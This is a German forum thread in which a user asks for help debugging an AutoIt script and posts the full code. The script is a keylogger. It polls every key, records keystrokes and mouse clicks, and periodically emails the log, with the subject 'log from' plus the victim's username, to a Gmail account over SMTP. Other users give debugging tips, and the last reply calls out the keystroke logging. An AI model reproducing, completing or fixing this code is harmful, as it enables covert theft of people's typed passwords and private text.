ArrayDisplay

Einhuhn

Cadet 3rd Year
Registriert
Dez. 2018
Beiträge
58
Anstatt, dass die Informationen, an meine E-Mail weitergeleitet werden, öffnet sich ständig bzw. immer ein "ArrayDisplay" Fenster. Anscheinend liegt da ein Problem in meinen Code drin fest.

Code

Code:
func send_mail()
    _ArrayDisplay($as_Body)

                        $SmtpServer = "Smtp.gmail.com" ; address for the smtp-server to use - REQUIRED
                        $FromName = "Someone" ; name from who the email was sent
                        $FromAddress = "a@b.de" ; address from where the mail should come
                        $ToAddress = "achthuhn@gmail.com" ; destination address of the email - REQUIRED
                        $Subject = "log from " & @UserName ; subject from the email - can be anything you want it to be
                        $Body = $as_Body ; the messagebody from the mail - can be left blank but then you get a blank mail
                        $AttachFiles = "" ; the file(s) you want to attach seperated with a ; (Semicolon) - leave blank if not needed
                        $CcAddress = "" ; address for cc - leave blank if not needed
                        $BccAddress = "" ; address for bcc - leave blank if not needed
                        $Importance = "Normal" ; Send message priority: "High", "Normal", "Low"
                        $Username = "achthuhn@gmail.com" ; username for the account used from where the mail gets sent - REQUIRED
                        $Password = "Nein?" ; password for the account used from where the mail gets sent - REQUIRED
                        $IPPort = 465 ; port used for sending the mail
                        $ssl = 1
;jkhbwkkwmflkwjmrlckwejocmrkwoerjvwmjrowvkernhlehmpoivjmrowemjvrpow,wivrhmwlervhwirhowiuhvr,womhrovweuhrmvoweirhmoeuwverhmowiuhrowiurhomuwerhoiewuhrowiurhiweourhiweuhrmvowirhm
    if UBound($as_Body)>50 then
            $rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)

            Local $iErr = @error
            If $rc = 1 Then
                MsgBox($MB_SYSTEMMODAL, "Success!", "Mail sent")
            Else
                MsgBox($MB_SYSTEMMODAL, "Error!", "Mail failed with error code " & $iErr)
            EndIf

            Local $sRange = "1-" & UBound($as_Body)-1
            _ArrayDelete($as_Body, $sRange)
            $log_string = ""
    EndIf

EndFunc
 
AutoIT? Ist das der ganze Code?

BFF
 
  • Gefällt mir
Reaktionen: Einhuhn
Dann lies Dich hier schlau.

https://administrator.de/forum/autoit-smtp-mail-versenden-226759.html

Beachte, dass Du im GoogleMail einstellen musst das weniger sichere Apps (Versender AutoIT) GMail benutzen duerfen.

766377


BFF
 
Wozu hast du jetzt einen 2. Thread aufgemacht? Ist das nicht das gleiche Problem? Im anderen Thread hast du doch auch von einem Fesnter mit einer "ArrayList" gesprochen.
Hast du das dort schon geloest?
 
Da gings aber nicht direkt ums Fenster. Der versendet die Nachricht immer noch nicht, trotz, deaktivierung, des Google Konto Schutzes. Hier noch mal der komplette Code.....

Code:
#include <Misc.au3>
#include <Inet.au3>
#include <MsgBoxConstants.au3>
#include <array.au3>
#include <File.au3>
Global $log_string =""
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

Global $dll = DllOpen("user32.dll")
AdlibRegister("send_mail",10000)
Global $as_Body[1]

while 1
    for $i=Dec(01) to Dec("ff")
                if _IsPressed(Hex($i,2),$dll) then
                    if $i= 160 then
                        shift()
                    Else
                        while  _IsPressed(Hex($i,2),$dll)
                            Sleep(20)
                        WEnd
                        Log_($i)
                    EndIf
                EndIf
    Next

WEnd

func shift()
    while 1
        for $i=Dec(30) to Dec("ff")
            if $i = 160 Then ContinueLoop
                    if _IsPressed(Hex($i,2),$dll) then

                        while  _IsPressed(Hex($i,2),$dll)
                            Sleep(20)
                        WEnd
                            if $i >=65 and $i <=90 Then
                                $i += 32
                            EndIf
                            Log_($i)
                            ExitLoop(2)
                    EndIf
        Next

    WEnd
EndFunc

func log_($i)
    $message = Chr($i) & "[" & $i & "]"

    Switch $i
        Case 1 ;left mouse

            $message = "linke maustaste " & "[" & $i & "]"
    EndSwitch

    $log_string &= Chr($i)
    _ArrayAdd($as_Body , $message )
EndFunc

func send_mail()
    _ArrayDisplay($as_Body)

                        $SmtpServer = "Smtp.gmail.com" ; address for the smtp-server to use - REQUIRED
                        $FromName = "Someone" ; name from who the email was sent
                        $FromAddress = "a@b.de" ; address from where the mail should come
                        $ToAddress = "Nö" ; destination address of the email - REQUIRED
                        $Subject = "log from " & @UserName ; subject from the email - can be anything you want it to be
                        $Body = $as_Body ; the messagebody from the mail - can be left blank but then you get a blank mail
                        $AttachFiles = "" ; the file(s) you want to attach seperated with a ; (Semicolon) - leave blank if not needed
                        $CcAddress = "" ; address for cc - leave blank if not needed
                        $BccAddress = "" ; address for bcc - leave blank if not needed
                        $Importance = "Normal" ; Send message priority: "High", "Normal", "Low"
                        $Username = "Nein" ; username for the account used from where the mail gets sent - REQUIRED
                        $Password = "passwort" ; password for the account used from where the mail gets sent - REQUIRED
                        $IPPort = 465 ; port used for sending the mail
                        $ssl = 1


if UBound($as_Body)>50 then
            $rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)

            Local $iErr = @error
            If $rc = 1 Then
                MsgBox($MB_SYSTEMMODAL, "Success!", "Mail sent")
            Else
                MsgBox($MB_SYSTEMMODAL, "Error!", "Mail failed with error code " & $iErr)
            EndIf

            Local $sRange = "1-" & UBound($as_Body)-1
            _ArrayDelete($as_Body, $sRange)
            $log_string = ""
    EndIf

EndFunc

; The UDF
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance = "Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
        Local $objEmail = ObjCreate("CDO.Message")
        $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
        $objEmail.To = $s_ToAddress
        Local $i_Error = 0
        Local $i_Error_desciption = ""
        If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
        If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
        $objEmail.Subject = $s_Subject
        If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
                $objEmail.HTMLBody = $as_Body
        Else
                $objEmail.Textbody = $as_Body & @CRLF
        EndIf

        if IsArray($as_Body) then
             Local $sString = ""
                For $vElement In $as_Body
                    $sString = $sString & $vElement & @CRLF
                Next
            $objEmail.Textbody = $log_string & @CRLF & $sString
        EndIf

        If $s_AttachFiles <> "" Then
                Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
                For $x = 1 To $S_Files2Attach[0]
                        $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
;~          ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
                        If FileExists($S_Files2Attach[$x]) Then
                                ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
                                $objEmail.AddAttachment($S_Files2Attach[$x])
                        Else
                                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                                SetError(1)
                                Return 0
                        EndIf
                Next
        EndIf
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
        If Number($IPPort) = 0 Then $IPPort = 25
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
        ;Authenticated SMTP
        If $s_Username <> "" Then
                $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
                $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
                $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
        EndIf
        If $ssl Then
                $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
        EndIf
        ;Update settings
        $objEmail.Configuration.Fields.Update
        ; Set Email Importance
        Switch $s_Importance
                Case "High"
                        $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "High"
                Case "Normal"
                        $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "Normal"
                Case "Low"
                        $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "Low"
        EndSwitch
        $objEmail.Fields.Update
        ; Sent the Message
        $objEmail.Send

        If @error Then
                SetError(2)
                Return $oMyRet[1]
        Else
                Return 1
        EndIf


        $objEmail = ""
EndFunc   ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
        $HexNumber = Hex($oMyError.number, 8)
        $oMyRet[0] = $HexNumber
        $oMyRet[1] = StringStripWS($oMyError.description, 3)
        ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
        SetError(1); something to check for when this function returns
        Return
EndFunc   ;==>MyErrFunc
 
Na dann kuerze Deinen Script ein und pruefe was am Ende das Senden verhindern.

Wenn Du das im Post #4 als Grundlage nimmst und damit eine Mail senden kannst, kannst Du Stueck fuer Stueck dazu packen und testen. Ich vermute, das der Fehler irgendwo zwischen Zeile 1 und 99 ist.

BFF
 
  • Gefällt mir
Reaktionen: Einhuhn
Schön wärs, wenn der die Funktion, von oben, überhaupt ausführen würde. Macht er aber komischerweise nicht^^

Edit: Funktioniert jetzt. Allerdings, öffnet sich alleine, bei diesen Script, ständig das Fentser und es kommt unten auch noch eine Fehlermeldung.

"C:\Program Files (x86)\AutoIt3\SciTE\..\autoit3.exe" /ErrorStdOut "C:\Users\Janni\Desktop\AutoIt v3 Script (neu).au3"
"C:\Users\Janni\Desktop\AutoIt v3 Script (neu).au3" (23) : ==> Unknown function name.:
Log_($i)
^ ERROR
Exit code: 1 Time: 15.62
 
Zuletzt bearbeitet:
Hast du ueberhaupt gelesen?

Beginn mit dem was garantiert funktioniert. Wenn das bei Dir dann auch funktioniert mach ein Stueck mehr.

Funktioniert denn der Krams von Dir ueberhaupt ohne eine Mail senden zu muessen? Ueberpruefe das mal.
Das Du da irgendwas in einen Array packen willst um daraus ein Log zu basteln und der Arry sich selbst verschicken soll ist supekt.

Ich persoenlich habe keine Lust mir Deinen Code reinzuziehen weil ich keinen zusammenhaengenden Sinn darin finde. Das was ich Dir gegeben habe im Post #4 funktioniert definitiv. Setze ich selbst ein.

BFF
 
  • Gefällt mir
Reaktionen: Einhuhn
Hab jetzt mal, dass mit den Mail Send weg gelassen. Nun öffnet sich kein ArrayList Fenster mehr, komisch ne? Dann muss genau da drin der Fehler sein
 
Wirst den Fehler schon finden. ;)

Was soll das Teil ueberhaupt tun ausser eine Mail senden?

BFF
 
Einhuhn schrieb:
Anstatt, dass die Informationen, an meine E-Mail weitergeleitet werden, öffnet sich ständig bzw. immer ein "ArrayDisplay" Fenster. Anscheinend liegt da ein Problem in meinen Code drin fest.

Natürlich tut es das.
Und jeder der sich ein wenig mit AutoIT auskennt, erkennt dieses sofort.

Du betreibst hier Tastatur-Logging, loggst Shift+ A-Z, und lässt Dir alle 50 Eingaben eine email zusenden.
Und da man nicht weiß, aber das so ok ist, kann ruhig ein Fenster auf-poppen ;):cool_alt:

Auch ein blindes Huhn findet mal ein Korn. Prost!
 
Zurück
Oben